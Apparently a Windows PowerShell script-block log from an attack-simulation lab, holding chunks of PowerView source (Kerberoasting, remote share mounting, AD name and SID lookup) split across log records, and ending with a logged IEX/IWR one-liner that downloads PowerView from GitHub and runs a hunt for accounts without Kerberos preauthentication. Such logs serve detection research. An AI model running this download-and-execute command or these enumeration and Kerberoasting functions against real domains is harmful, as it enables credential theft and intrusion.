Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $UserSearccb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118500Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local548 }
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType
to simulate "runas /netonly". The resulting token is then impersonated with
ImpersonateLoggedOnUser() and the token handle is returned for later usage
with Invoke-RevertToSelf.
.PARAMETER Credential
A [Management.Automation.PSCredential] object with alternate credentials
to impersonate in the current thread space.
.PARAMETER TokenHandle
An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation.
If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser()
is executed.
.PARAMETER Quiet
Suppress any warnincb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118498Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local348 -contains $PsCmdlet.ParameterSetName } |
Select-Object -ExpandProperty Key |
# Find unbound parameters in the current parameter set
Where-Object { $PSBoundParameters.Keys -notcontains $_ }
# Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
$tmp = $null
ForEach ($Parameter in $UnboundParameters) {
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
$PSBoundParameters.$Parameter = $DefaultValue
}
}
if($Dictionary) {
$DPDictionary = $Dictionary
}
else {
$DPDictionary = $InternalDictionary
}
# Shortcut for getting local variables
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
# Strings to match attributes and validation arguments
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
$AliasRegex = '^Alias$'
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
switch -regex ($PSBoundParameters.Keys) {
$AttributeRegex {
Try {
$ParameterAttribute.$_ = . $GetVar
}
Catch {
$_
}
continue
}
}
if($DPDictionary.Keys -contains $Name) {
$DPDictionary.$Name.Attributes.Add($ParameterAttribute)
}
else {
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
switch -regex ($PSBoundParameters.Keys) {
$ValidationRegex {
Try {
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
$AttributeCollection.Add($ParameterOptions)
}
Catch { $_ }
continue
}
$AliasRegex {
Try {
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
$AttributeCollection.Add($ParameterAlias)
continue
}
Catch { $_ }
}
}
$AttributeCollection.Add($ParameterAttribute)
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
$DPDictionary.Add($Name, $Parameter)
}
}
}
End {
if(!$CreateVariables -and !$Dictionary) {
$DPDictionary
}
}
}
function Get-IniContent {
<#
.SYNOPSIS
This helper parses an .ini file into a hashtable.
Author: 'The Scripting Guys'
Modifications: @harmj0y (-Credential support)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
Parses an .ini file into a hashtable. If -Credential is supplied,
then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
is parsed, and then the connection is destroyed with Remove-RemoteConnection.
.PARAMETER Path
Specifies the path to the .ini file to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-IniContent C:\Windows\example.ini
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent -OutputObject
Outputs the .ini details as a proper nested PSObject.
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
.INPUTS
String
Accepts one or more .ini paths on the pipeline.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed .ini file.
.LINK
https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName', 'Name')]
[ValidateNotNullOrEmpty()]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$OutputObject
)
BEGIN {
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
$Null = $Mutex.WaitOne()
if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}
PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
if (-not $Exists) {
# output the object field names as well
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
$Exists = $True
}
else {
# only output object field data
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
}
}
}
END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}
function Resolve-IPAddress {
<#
.SYNOPSIS
Resolves a given hostename to its associated IPv4 address.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
is the IP address of the localhost.
.EXAMPLE
Resolve-IPAddress -ComputerName SERVER
.EXAMPLE
@("SERVER1", "SERVER2") | Resolve-IPAddress
.INPUTS
String
Accepts one or more IP address strings on the pipeline.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with the ComputerName and IPAddress.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
}
function ConvertTo-SID {
<#
.SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
.DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function. If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
.PARAMETER ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertTo-SID 'DEV\dfm'
.EXAMPLE
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
.INPUTS
String
Accepts one or more username specification strings on the pipeline.
.OUTPUTS
String
A string representing the SID of the translated name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$DomainSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
cb98747c-0055-4bdf-935c-79dfcbe66f11
4104152150x0118490Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local11{[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose}ebbf60c5-02dc-4c2a-a98f-28b0fb8a59cc
